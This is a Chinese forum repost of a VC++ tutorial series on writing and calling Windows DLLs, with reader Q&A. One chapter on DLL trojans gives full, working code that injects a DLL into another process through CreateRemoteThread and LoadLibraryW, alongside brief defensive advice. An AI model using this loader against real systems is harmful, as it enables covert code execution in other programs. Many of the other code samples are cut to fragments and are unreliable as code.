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-- 作者:一分之千 -- 发布时间:7/22/2007 2:04:00 PM -- (二) VC++动态链接库编程之非MFC DLL 2005-10-08 09:49 作者: 宋宝华 4.1一个简单的DLL 第2节给出了以静态链接库方式提供add函数接口的方法,接下来我们来看看怎样用动态链接库实现一个同样功能的add函数。 在建立的工程中添加lib.h及lib.cpp文件,源代码如下: /* 文件名:lib.h */ #ifndef LIB_H /* 文件名:lib.cpp */ #include "lib.h" 与第2节对静态链接库的调用相似,我们也建立一个与DLL工程处于同一工作区的应用工程dllCall,它调用DLL中的函数add,其源代码如下: #include <stdio.h> typedef int(*lpAddFun)(int, int); //宏定义函数指针类型 分析上述代码,dllTest工程中的lib.cpp文件与第2节静态链接库版本完全相同,不同在于lib.h对函数add的声明前面添加了__declspec(dllexport)语句。这个语句的含义是声明函数add为DLL的导出函数。DLL内的函数分为两种: (1)DLL导出函数,可供应用程序调用; (2) DLL内部函数,只能在DLL程序使用,应用程序无法调用它们。 而应用程序对本DLL的调用和对第2节静态链接库的调用却有较大差异,下面我们来逐一分析。 首先,语句typedef int ( * lpAddFun)(int,int)定义了一个与add函数接受参数类型和返回值均相同的函数指针类型。随后,在main函数中定义了lpAddFun的实例addFun; 其次,在函数main中定义了一个DLL HINSTANCE句柄实例hDll,通过Win32 Api函数LoadLibrary动态加载了DLL模块并将DLL模块句柄赋给了hDll; 再次,在函数main中通过Win32 Api函数GetProcAddress得到了所加载DLL模块中函数add的地址并赋给了addFun。经由函数指针addFun进行了对DLL中add函数的调用; 最后,应用工程使用完DLL后,在函数main中通过Win32 Api函数FreeLibrary释放了已经加载的DLL模块。 通过这个简单的例子,我们获知DLL定义和调用的一般概念: (1)DLL中需以某种特定的方式声明导出函数(或变量、类); (2)应用工程需以某种特定的方式调用DLL的导出函数(或变量、类)。 下面我们来对“特定的方式进行”阐述。 4.2 声明导出函数 DLL中导出函数的声明有两种方式:一种为4.1节例子中给出的在函数声明中加上__declspec(dllexport),这里不再举例说明;另外一种方式是采用模块定义(.def) 文件声明,.def文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。 下面的代码演示了怎样同.def文件将函数add声明为DLL导出函数(需在dllTest工程中添加lib.def文件): ; lib.def : 导出DLL函数 LIBRARY dllTest EXPORTS add @ 1 .def文件的规则为: (1)LIBRARY语句说明.def文件相应的DLL; (2)EXPORTS语句后列出要导出函数的名称。可以在.def文件中的导出函数名后加@n,表示要导出函数的序号为n(在进行函数调用时,这个序号将发挥其作用); (3).def 文件中的注释由每个注释行开始处的分号 (;) 指定,且注释不能与语句共享一行。 由此可以看出,例子中lib.def文件的含义为生成名为“dllTest”的动态链接库,导出其中的add函数,并指定add函数的序号为1。 4.3 DLL的调用方式 在4.1节的例子中我们看到了由“LoadLibrary-GetProcAddress-FreeLibrary”系统Api提供的三位一体“DLL加载-DLL函数地址获取-DLL释放”方式,这种调用方式称为DLL的动态调用。 动态调用方式的特点是完全由编程者用 API 函数加载和卸载 DLL,程序员可以决定 DLL 文件何时加载或不加载,显式链接在运行时决定加载哪个 DLL 文件。 与动态调用方式相对应的就是静态调用方式,“有动必有静”,这来源于物质世界的对立统一。“动与静”,其对立与统一竟无数次在技术领域里得到验证,譬如静态IP与DHCP、静态路由与动态路由等。从前文我们已经知道,库也分为静态库与动态库DLL,而想不到,深入到DLL内部,其调用方式也分为静态与动态。“动与静”,无处不在。《周易》已认识到有动必有静的动静平衡观,《易.系辞》曰:“动静有常,刚柔断矣”。哲学意味着一种普遍的真理,因此,我们经常可以在枯燥的技术领域看到哲学的影子。 静态调用方式的特点是由编译系统完成对DLL的加载和应用程序结束时 DLL 的卸载。当调用某DLL的应用程序结束时,若系统中还有其它程序使用该 DLL,则Windows对DLL的应用记录减1,直到所有使用该DLL的程序都结束时才释放它。静态调用方式简单实用,但不如动态调用方式灵活。 下面我们来看看静态调用的例子(单击此处下载本工程),将编译dllTest工程所生成的.lib和.dll文件拷入dllCall工程所在的路径,dllCall执行下列代码: #pragma comment(lib,"dllTest.lib") //.lib文件中仅仅是关于其对应DLL文件中函数的重定位信息 extern "C" __declspec(dllimport) add(int x,int y); int main(int argc, char* argv[]) 由上述代码可以看出,静态调用方式的顺利进行需要完成两个动作: (1)告诉编译器与DLL相对应的.lib文件所在的路径及文件名,#pragma comment(lib,"dllTest.lib")就是起这个作用。 程序员在建立一个DLL文件时,连接器会自动为其生成一个对应的.lib文件,该文件包含了DLL 导出函数的符号名及序号(并不含有实际的代码)。在应用程序里,.lib文件将作为DLL的替代文件参与编译。 (2)声明导入函数,extern "C" __declspec(dllimport) add(int x,int y)语句中的__declspec(dllimport)发挥这个作用。 静态调用方式不再需要使用系统API来加载、卸载DLL以及获取DLL中导出函数的地址。这是因为,当程序员通过静态链接方式编译生成应用程序时,应用程序中调用的与.lib文件中导出符号相匹配的函数符号将进入到生成的EXE 文件中,.lib文件中所包含的与之对应的DLL文件的文件名也被编译器存储在 EXE文件内部。当应用程序运行过程中需要加载DLL文件时,Windows将根据这些信息发现并加载DLL,然后通过符号名实现对DLL 函数的动态链接。这样,EXE将能直接通过函数名调用DLL的输出函数,就象调用程序内部的其他函数一样。 Windows在加载DLL的时候,需要一个入口函数,就如同控制台或DOS程序需要main函数、WIN32程序需要WinMain函数一样。在前面的例子中,DLL并没有提供DllMain函数,应用工程也能成功引用DLL,这是因为Windows在找不到DllMain的时候,系统会从其它运行库中引入一个不做任何操作的缺省DllMain函数版本,并不意味着DLL可以放弃DllMain函数。 根据编写规范,Windows必须查找并执行DLL里的DllMain函数作为加载DLL的依据,它使得DLL得以保留在内存里。这个函数并不属于导出函数,而是DLL的内部函数。这意味着不能直接在应用工程中引用DllMain函数,DllMain是自动被调用的。 我们来看一个DllMain函数的例子(单击此处下载本工程)。 BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) DllMain函数在DLL被加载和卸载时被调用,在单个线程启动和终止时,DLLMain函数也被调用,ul_reason_for_call指明了被调用的原因。原因共有4种,即PROCESS_ATTACH、PROCESS_DETACH、THREAD_ATTACH和THREAD_DETACH,以switch语句列出。 来仔细解读一下DllMain的函数头BOOL APIENTRY DllMain( HANDLE hModule, WORD ul_reason_for_call, LPVOID lpReserved )。 APIENTRY被定义为__stdcall,它意味着这个函数以标准Pascal的方式进行调用,也就是WINAPI方式; 进程中的每个DLL模块被全局唯一的32字节的HINSTANCE句柄标识,只有在特定的进程内部有效,句柄代表了DLL模块在进程虚拟空间中的起始地址。在Win32中,HINSTANCE和HMODULE的值是相同的,这两种类型可以替换使用,这就是函数参数hModule的来历。 执行下列代码: hDll = LoadLibrary("..\\Debug\\dllTest.dll"); 我们看到输出顺序为: process attach of dll 这一输出顺序验证了DllMain被调用的时机。 代码中的GetProcAddress ( hDll, MAKEINTRESOURCE ( 1 ) )值得留意,它直接通过.def文件中为add函数指定的顺序号访问add函数,具体体现在MAKEINTRESOURCE ( 1 ),MAKEINTRESOURCE是一个通过序号获取函数名的宏,定义为(节选自winuser.h): #define MAKEINTRESOURCEA(i) (LPSTR)((DWORD)((WORD)(i))) 4.5 __stdcall约定 如果通过VC++编写的DLL欲被其他语言编写的程序调用,应将函数的调用方式声明为__stdcall方式,WINAPI都采用这种方式,而C/C++缺省的调用方式却为__cdecl。__stdcall方式与__cdecl对函数名最终生成符号的方式不同。若采用C编译方式(在C++中需将函数声明为extern "C"),__stdcall调用约定在输出函数名前面加下划线,后面加“@”符号和参数的字节数,形如_functionname@number;而__cdecl调用约定仅在输出函数名前面加下划线,形如_functionname。 Windows编程中常见的几种函数类型声明宏都是与__stdcall和__cdecl有关的(节选自windef.h): #define CALLBACK __stdcall //这就是传说中的回调函数 在lib.h中,应这样声明add函数: int __stdcall add(int x, int y); 在应用工程中函数指针类型应定义为: typedef int(__stdcall *lpAddFun)(int, int); 若在lib.h中将函数声明为__stdcall调用,而应用工程中仍使用typedef int (* lpAddFun)(int,int),运行时将发生错误(因为类型不匹配,在应用工程中仍然是缺省的__cdecl调用),弹出如图7所示的对话框。 图7中的那段话实际上已经给出了错误的原因,即“This is usually a result of …”。 单击此处下载__stdcall调用例子工程源代码。 4.6 DLL导出变量 DLL定义的全局变量可以被调用进程访问;DLL也可以访问调用进程的全局数据,我们来看看在应用工程中引用DLL中变量的例子(单击此处下载本工程)。 /* 文件名:lib.h */ #ifndef LIB_H /* 文件名:lib.cpp */ #include "lib.h" int dllGlobalVar; BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) ;文件名:lib.def ;在DLL中导出变量 LIBRARY "dllTest" EXPORTS dllGlobalVar CONSTANT ;或dllGlobalVar DATA GetGlobalVar 从lib.h和lib.cpp中可以看出,全局变量在DLL中的定义和使用方法与一般的程序设计是一样的。若要导出某全局变量,我们需要在.def文件的EXPORTS后添加: 变量名 CONSTANT //过时的方法 或 变量名 DATA //VC++提示的新方法 在主函数中引用DLL中定义的全局变量: #include <stdio.h> extern int dllGlobalVar; int main(int argc, char *argv[]) 特别要注意的是用extern int dllGlobalVar声明所导入的并不是DLL中全局变量本身,而是其地址,应用程序必须通过强制指针转换来使用DLL中的全局变量。这一点,从*(int*)dllGlobalVar可以看出。因此在采用这种方式引用DLL全局变量时,千万不要进行这样的赋值操作: dllGlobalVar = 1; 其结果是dllGlobalVar指针的内容发生变化,程序中以后再也引用不到DLL中的全局变量了。 在应用工程中引用DLL中全局变量的一个更好方法是: #include <stdio.h> extern int _declspec(dllimport) dllGlobalVar; //用_declspec(dllimport)导入 通过_declspec(dllimport)方式导入的就是DLL中全局变量本身而不再是其地址了,笔者建议在一切可能的情况下都使用这种方式。 4.7 DLL导出类 DLL中定义的类可以在应用工程中使用。 下面的例子里,我们在DLL中定义了point和circle两个类,并在应用工程中引用了它们(单击此处下载本工程)。 //文件名:point.h,point类的声明 #ifndef POINT_H #endif //文件名:point.cpp,point类的实现 #ifndef DLL_FILE #include "point.h" //类point的缺省构造函数 point::point() //类point的构造函数 point::point(float x_coordinate, float y_coordinate) //文件名:circle.h,circle类的声明 #ifndef CIRCLE_H #endif //文件名:circle.cpp,circle类的实现 #ifndef DLL_FILE //circle类的构造函数 circle::circle() //得到圆的面积 float circle::GetArea() //得到圆的周长 float circle::GetGirth() //设置圆心坐标 void circle::SetCentre(const point ¢rePoint) //设置圆的半径 void circle::SetRadius(float r) 类的引用: #include "..\circle.h" //包含类声明头文件 #pragma comment(lib,"dllTest.lib"); int main(int argc, char *argv[]) 从上述源代码可以看出,由于在DLL的类实现代码中定义了宏DLL_FILE,故在DLL的实现中所包含的类声明实际上为: class _declspec(dllexport) point //导出类point 和 class _declspec(dllexport) circle //导出类circle 而在应用工程中没有定义DLL_FILE,故其包含point.h和circle.h后引入的类声明为: class _declspec(dllimport) point //导入类point 和 class _declspec(dllimport) circle //导入类circle 不错,正是通过DLL中的 class _declspec(dllexport) class_name //导出类circle 与应用程序中的 class _declspec(dllimport) class_name //导入类 匹对来完成类的导出和导入的! 我们往往通过在类的声明头文件中用一个宏来决定使其编译为class _declspec(dllexport) class_name还是class _declspec(dllimport) class_name版本,这样就不再需要两个头文件。本程序中使用的是: #ifdef DLL_FILE 实际上,在MFC DLL的讲解中,您将看到比这更简便的方法,而此处仅仅是为了说明_declspec(dllexport)与_declspec(dllimport)匹对的问题。 由此可见,应用工程中几乎可以看到DLL中的一切,包括函数、变量以及类,这就是DLL所要提供的强大能力。只要DLL释放这些接口,应用程序使用它就将如同使用本工程中的程序一样! 本章虽以VC++为平台讲解非MFC DLL,但是这些普遍的概念在其它语言及开发环境中也是相同的,其思维方式可以直接过渡。 接下来,我们将要研究MFC规则DLL。
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-- 作者:一分之千 -- 发布时间:7/23/2007 10:27:00 AM -- 继续。。。。。。。。 (五) VC++动态链接库编程之DLL典型实例 动态链接库DLL实现了库的共享,体现了代码重用的思想。我们可以把广泛的、具有共性的、能够多次被利用的函数和类定义在库中。这样,在再次使用这些函数和类的时候,就不再需要重新添加与这些函数和类相关的代码。具有共性的问题大致有哪些呢?笔者归纳如下: 图像处理、视频音频解码、压缩与解压缩、加密与解密通常采用某些特定的算法,这些算法较固定且在这类程序中往往经常被使用。 (2)纯资源DLL 我们可以从DLL中获取资源,对于一个支持多种语言的应用程序而言,我们可以判断操作系统的语言,并自动为应用程序加载与OS对应的语言。这是多语言支持应用程序的一般做法。 (3)通信控制DLL 串口、网口的通信控制函数如果由DLL提供则可以使应用程序轻松不少。在工业控制、modem程序甚至socket通信中,经常使用通信控制DLL。 本节将给出DLL的三个典型应用实例。 7.1 算法DLL 我们直接用读者的一个提问作为例子。 宋宝华先生,您好! 我在dev.yesky.com上看到你连载的《VC++动态链接库编程》,觉得非常好。我以前主要是用Delphi的,C/C++学过,对Win32和VCL比较熟悉,但是没有接触过VC++,对MFC很陌生。这段时间和一个同学合作做光学成像的计算机模拟,用到傅立叶变换,手里面有例程是VC++写的。我们的界面是用Delphi开发,需要将其傅立叶变换功能提出做一个DLL供Delphi调用。苦于不懂MFC,试了很多方法,都不成功,最后只得采用折衷方案,简单修改一下程序,传一个参数进去,当作exe来调用,才没有耽搁后续进程。 …… 谢谢! 致 礼! 某某 学习过较高级别数学(概率统计与随机过程)、信号与线性系统及数字信号处理的读者应该知道,傅立叶变换是一种在信号分析中常用的算法,用于时域和频域的相互转换。FFT变换算法通用而有共性,我们适宜把它集成在一个DLL中。 随后,这位读者提供了这样的一个函数: /* 函数名称:FFT() void FFT(complex<double> * TD, complex<double> * FD, int r) // 分配运算所需存储器 W = new complex<double>[count / 2]; // 计算加权系数 for(i = 0; i < count / 2; i++) // 将时域点写入X1 memcpy(X1, TD, sizeof(complex<double>) * count); // 采用蝶形算法进行快速傅立叶变换 for(k = 0; k < r; k++) // 重新排序 for(j = 0; j < count; j++) // 释放内存 delete W; 既然有了FFT这个函数,我们要把它做在DLL中,作为DLL的一个接口将是十分简单的,其步骤如下: (1)利用MFC向导建立一个非MFC DLL; (2)在工程中添加fft.h和fft.cpp两个文件; fft.h的源代码为: #ifndef FFT_H #include <complex> using namespace std; #define PI 3.1415926 fft.cpp的源代码为: /* 文件名:fft.cpp */ #include "fft.h" 在任何编程语言中使用Win32 API LoadLibrary都可以加载这个DLL,而使用GetProcAddress(hDll, "FFT")则可以获得函数FFT的地址,读者所提到的Delphi当然也不例外。 这个DLL中有两点需要注意: (1)使用extern "C"修饰函数声明,否则,生成的DLL只能供C++调用; (2)使用__stdcall修饰函数声明及定义,__stdcall是Windows API的函数调用方式。 7.2纯资源DLL 我们在应用程序中产生如图18所示的资源(对话框),单击此处下载本工程。 在与这个应用程序相同的工作区里利用MFC向导建立两个简单的DLL,把应用工程中的资源全选后分别拷贝到ChineseDll和EngLishDll,在EnglishDll工程的资源文件中搜索下面的语句: ///////////////////////////////////////////////////////////////////////////// // Chinese (P.R.C.) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) 将其改为: ///////////////////////////////////////////////////////////////////////////// #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US #pragma code_page(1252) 并将其中所有的中文翻译为英文。这个DLL为我们提供了如图19所示的对话框资源。 修改应用工程的InitInstance()函数,在 CResourceDllCallDlg dlg; 之前(即对话框显示之前)添加如下代码: //获取操作系统的语言 WORD wLangPID = PRIMARYLANGID( GetSystemDefaultLangID() ); if( NULL == hLanguageDll ) 这样的应用程序将具有自适应性质,在中文OS中显示中文资源,在英文OS中则显示英文资源。 7.3通信控制DLL 我们在这里举一个串口通信类的例子。 也许您需要了解一点串口通信的背景知识,其实串口到处都看得到,譬如PC机的COM口即为串行通讯口(简称串口)。如图20,打开Windows的设备管理器,我们看到了COM口。 在Windows系统,需通过DCB(Device Control Block)对串口进行配置。利用Windows API GetCommState函数可以获取串口当前配置;利用SetCommState函数则可以设置串口通讯的参数。 串行通信通常按以下四步进行: (1)打开串口; (2)配置串口; (3)数据传送; (4)关闭串口。 图20 PC的串口 由此可见,我们需要给串口控制DLL提供如下四个接口函数: //打开指定的串口,其参数port为端口号 BOOL ComOpen(int port); //在这个函数里使用默认的参数设置串口 //将打开的串口关闭 void ComClose(int port); //将串口接收缓冲区中的数据放到buffer中 int GetComData(char *buf, int buf_len); //将指定长度的数据发送到串口 int SendDataToCom(LPBYTE buf,int buf_Len); 下面给出了DLL接口的主要源代码框架: //com.h:com类通信接口 class AFX_EXT_CLASS com 我们编写一控制台程序来演示DLL的调用: #include <iostream> using namespace std; #include <windows.h> DLL的编写与调用方法及主要应用皆已讲完,在下一节里,我们将看到比较“高深”的主题――DLL木马。曾几何时,DLL木马成为了病毒的一种十分重要的形式,是DLL的什么特性使得它能够成为一种病毒?下一节我们将揭晓谜底。 |
-- 作者:一分之千 -- 发布时间:7/23/2007 10:33:00 AM -- (六) VC++动态链接库编程之DLL木马 DLL在程序编制中可作出巨大贡献,它提供了具共性代码的复用能力。但是,正如一门高深的武学,若被掌握在正义之侠的手上,便可助其仗义江湖;但若被掌握在邪恶之徒的手上,则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性,就不再是正常的DLL程序,而是DLL木马,一种恶贯满盈的病毒,令特洛伊一夜之间国破家亡。 DLL木马的原理 DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。 正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性: (1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源; (2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下"蛛丝马迹",达到隐蔽自身的目的。 DLL木马实现了"真隐藏",我们在任务管理器中看不到木马"进程",它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏","假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。 DLL木马注入其它进程的方法为远程线程插入。 远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。 DLL木马注入程序 这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比,我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点: (1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为: HANDLE CreateRemoteThread( HANDLE hProcess, //远程进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); (2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数; (3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。 以下程序由作者Shotgun的DLL木马注入程序简化而得(单击此处下载,在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll插入到ID为4000的进程中: #include <windows.h> #include <stdlib.h> #include <stdio.h> void CheckError ( int, int, char *); //出错处理函数 PDWORD pdwThreadId; HANDLE hRemoteThread, hRemoteProcess; DWORD fdwCreate, dwStackSize, dwRemoteProcessId; PWSTR pszLibFileRemote=NULL; void main(int argc,char **argv) { int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0}; dwRemoteProcessId = 4000; strcpy(lpDllFullPathName, "d:\\troydll.dll"); //将DLL文件全路径的ANSI码转换成UNICODE码 iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpDllFullPathName, strlen(lpDllFullPathName), pszLibFileName, MAX_PATH); CheckError(iReturnCode, 0, "MultByteToWideChar"); //打开远程进程 hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程 PROCESS_VM_OPERATION | //允许VM操作 PROCESS_VM_WRITE, //允许VM写 FALSE, dwRemoteProcessId ); CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!"); //计算DLL路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx"); //将DLL的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); CheckError(iReturnCode, false, "WriteProcessMemory"); //计算LoadLibraryW的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CheckError((int)pfnStartAddr, NULL, "GetProcAddress"); //启动远程线程,通过远程线程调用用户的DLL文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CheckError((int)hRemoteThread, NULL, "Create Remote Thread"); //等待远程线程退出 WaitForSingleObject(hRemoteThread, INFINITE); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } } //错误处理函数CheckError() void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg) { if(iReturnCode==iErrorCode) { printf("%s Error:%d\n\n", pErrorMsg, GetLastError()); //清场处理 if (pszLibFileRemote != NULL) { VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE); } if (hRemoteThread != NULL) { CloseHandle(hRemoteThread ); } if (hRemoteProcess!= NULL) { CloseHandle(hRemoteProcess); } exit(0); } } 从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为: (1)取得宿主进程(即要注入木马的进程)的进程ID dwRemoteProcessId; (2)取得DLL的完全路径,并将其转换为宽字符模式pszLibFileName; (3)利用Windows API OpenProcess打开宿主进程,应该开启下列选项: a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程; b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作; c.PROCESS_VM_WRITE:允许对宿主进程进行VM写。 (4)利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间,并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间; (5)利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址,这个函数将作为随后将启动的远程线程的入口函数; (6)利用Windows API CreateRemoteThread启动远程线程,将LoadLibraryW的地址作为远程线程的入口函数地址,将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL; (7)清理现场。 DLL木马的防治 从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式,这可以帮助我们更好地理解DLL木马病毒的防治手段。 一般的木马被植入后要打开一网络端口与攻击程序通信,所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查,我们可以让防火墙对通讯端口进行限制,只允许系统接受几个特定端口的数据请求。这样,即使木马植入成功,攻击者也无法进入到受侵系统,防火墙把攻击者和木马分隔开来了。 对于DLL木马,一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL,如果其中有一些莫名其妙的DLL,则可以断言这个进程是宿主进程,系统被植入了DLL木马。"道高一尺,魔高一丈",现如今,DLL木马也发展到了更高的境界,它们看起来也不再"莫名其妙"。在最新的一些木马里面,开始采用了先进的DLL陷阱技术,编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤,对于正常的调用,使用函数转发器直接转发给被替换的系统DLL;对于一些事先约定好的特殊情况,DLL会执行一些相应的操作。 本文给出的只是DLL木马最简单情况的介绍,读者若有兴趣深入研究,可以参考其它资料。 |
-- 作者:一分之千 -- 发布时间:7/23/2007 10:36:00 AM -- (七)VC++动态链接库编程之读者反馈与答复 1.关于文章的获取 许多读者发来e-mail询问本系列文章的相关事宜,如: (1) 是否已出版? (2) 哪里可以下载打包版? (3) 哪里可以下载笔者的其它文章? 对于这些问题,统一作答如下: (1)本系列文章暂时尚未出版; (2)您可以在天极网软件频道下载笔者的多数拙作。另外,我也将不定期将这些文章上传到我的博客( http://blog.donews.com/21cnbao/)。所有文章中的例程源代码均经过亲手调试,验证无误; (3)就嵌入式系统开发,笔者将继续进行此方面的创作,新近将推出《基于嵌入式实时OS VxWorks的多任务程序设计》及《领悟:从Windows多线程到VxWorks的多任务》。 非常感谢读者朋友对这些文章的喜爱,在下将竭尽所能地为您提供更多的好文章。 2.关于DLL的疑问 你好,看了你写的"VC++ DLL编程深入浅出",特别有收获。 只是有个地方我老搞不明白,就是用DLL导出全局变量时,指定了.lib的路径(#pragma comment(lib,"dllTest.lib")),那么.dll的文件的路径呢,我尝试着把.dll文件移到别的地方程序就无法正常运行了,请问.dll在这里怎么指定。 希望您能在百忙中抽空给我解答一下,不胜感激! 一位编程爱好者 回答: Windows按下列顺序搜索DLL: (1)当前进程的可执行模块所在的目录; (2)当前目录; (3)Windows 系统目录,通过GetSystemDirectory 函数可获得此目录的路径; (4)Windows 目录,通过GetWindowsDirectory 函数可获得此目录的路径; (5)PATH 环境变量中列出的目录。 因此,隐式链接时,DLL文件的路径不需要指定也不能指定,系统指定按照1~5的步骤寻找DLL,但是对应的.lib文件却需要指定路径;如果使用Windows API函数LoadLibrary动态加载DLL,则可以指定DLL的路径。 你好,我是一位C++初学者,我在PCONLINE看了教学之后,受益不浅。我想问一下能否在DLL里使用多线程?MSDN上用#using <mscorlib.dll>这个指令之后实现了多线程,不过好象不支持DLL.. 请问有什么办法支持制作多线程DLL??能否给一个源码来? 回答: 在DLL中可以处理多线程,WIN32对于多线程的支持是操作系统本身提供的一种能力,并不在于用户编写的是哪一类程序。即便是一个控制台程序,我们都可以使用多线程: #include <stdio.h> 观察程序运行的结果为在控制台窗口上交替输出this is main thread、this is new thread。 我们来看下面的一个多线程DLL的例子。 DLL程序提供一个接口函数SendInit,在此接口中启动发送线程SendThreadFunc,在这个线程的对应工作函数中我们使用原始套接字socket发送报文。参考微软出版的经典书籍《Windows核心编程》,我们发现,不宜在DLL被加载的时候(即进程绑定时)启动一个新的线程。 这个线程等待一个CEvent事件(用于线程间通信),应用程序调用DLL中的接口函数SendMsg( InterDataPkt sendData )可以释放此事件。下面是相关的源代码: (1)发送报文线程入口函数 /////////////////////////////////////////////////////////////////////////// /* 获得目标节点端口与地址 */ /* 发送数据 */ sendto( sendSock, (char *)sendSockData.data, sendSockData.len, 0, (struct sockaddr*)&desAddr, sizeof(desAddr) ); (2)MFC规则DLL的InitInstance函数 ///////////////////////////////////////////////////////////////////////////// (3)启动发送线程 //////////////////////////////////////////////////////////////////////////////// (4)SendMsg函数 //////////////////////////////////////////////////////////////////////////////// 以上程序仅仅是一个简单的例子,其实在许多工程应用中,我们经常看到这样的处理方式。这个DLL对用户而言仅仅使一个简单的接口函数SendMsg,对调用它的应用程序屏蔽了多线程的技术细节。与之类似,MFC提供的CSocket类在底层自己采用了多线程机制,所以使我们免去了对多线程的使用。 您好,看了您的DLL文章,发现导出函数可以直接用_declspec(dllexport)声明或在.def文件中定义,变量的导出也一样。我想知道类是否也可以在.def文件中导出?您的文章中只讲了在类前添加_declspec(dllexport)导出类的方法。请您指教! 回答: 一般我们不采用.def文件导出类,但是这并不意味着类不能用.def文件导出类。 使用Depends查看连载2的"导出类"例程生成的DLL,我们发现其导出了如图21的众多"怪"symbol,这些symbol都是经过编译器处理的。因此,为了以.def文件导出类,我们必须把这些"怪"symbol全部导出,实在是不划算啊!所以对于类,我们最好直接以_declspec(dllexport)导出。 图1 导出类时导出的symbol 您好,看了您的DLL文章,知道怎么创建DLL了,但是面对一个具体的工程,我还是不知道究竟应该把什么做成DLL?您能给一些这方面的经验吗? 回答: DLL一般用于软件模块中较固定、较通用的可以被复用的模块,这里有一个非常好的例子,就是豪杰超级解霸。梁肇新大师把处理视频和音频的算法模块专门做成了两个DLL,供超级解霸的用户界面GUI程序调用,实在是DLL设计的模范教程。所谓"万变不离其宗",超级解霸的界面再cool,用到的还是那几个DLL!具体请参考《编程高手箴言》一书。 您好,您的DLL文章讲的都是Windows的,请问Linux操作系统上可以制作DLL吗?如果能,和Windows有什么不一样?谢谢! 回答: 在Linux操作系统中,也可以采用动态链接技术进行软件设计,但与Windows下DLL的创建和调用方式有些不同。 Linux操作系统中的共享对象技术(Shared Object)与Windows里的DLL相对应,但名称不一样,其共享对象文件以.so作为后缀。与Linux共享对象技术相关的一些函数如下: (1)打开共享对象,函数原型: //打开名为filename共享对象,并返回操作句柄; (2)取函数地址,函数原型: //获得接口函数地址 (3)关闭共享对象,函数原型: //关闭指定句柄的共享对象 (4)动态库错误函数,函数原型: //共享对象操作函数执行失败时,返回出错信息 从这里我们分明看到Windows API――LoadLibrary、FreeLibrary和GetProcAddress的影子!又一个"万变不离其宗"! 本系列文章的连载暂时告一段落,您可以继续给笔者发送email(mailto:21cnbao@21cn.com)讨论DLL的编程问题。对于文中的错误和纰漏,也热诚欢迎您指正。
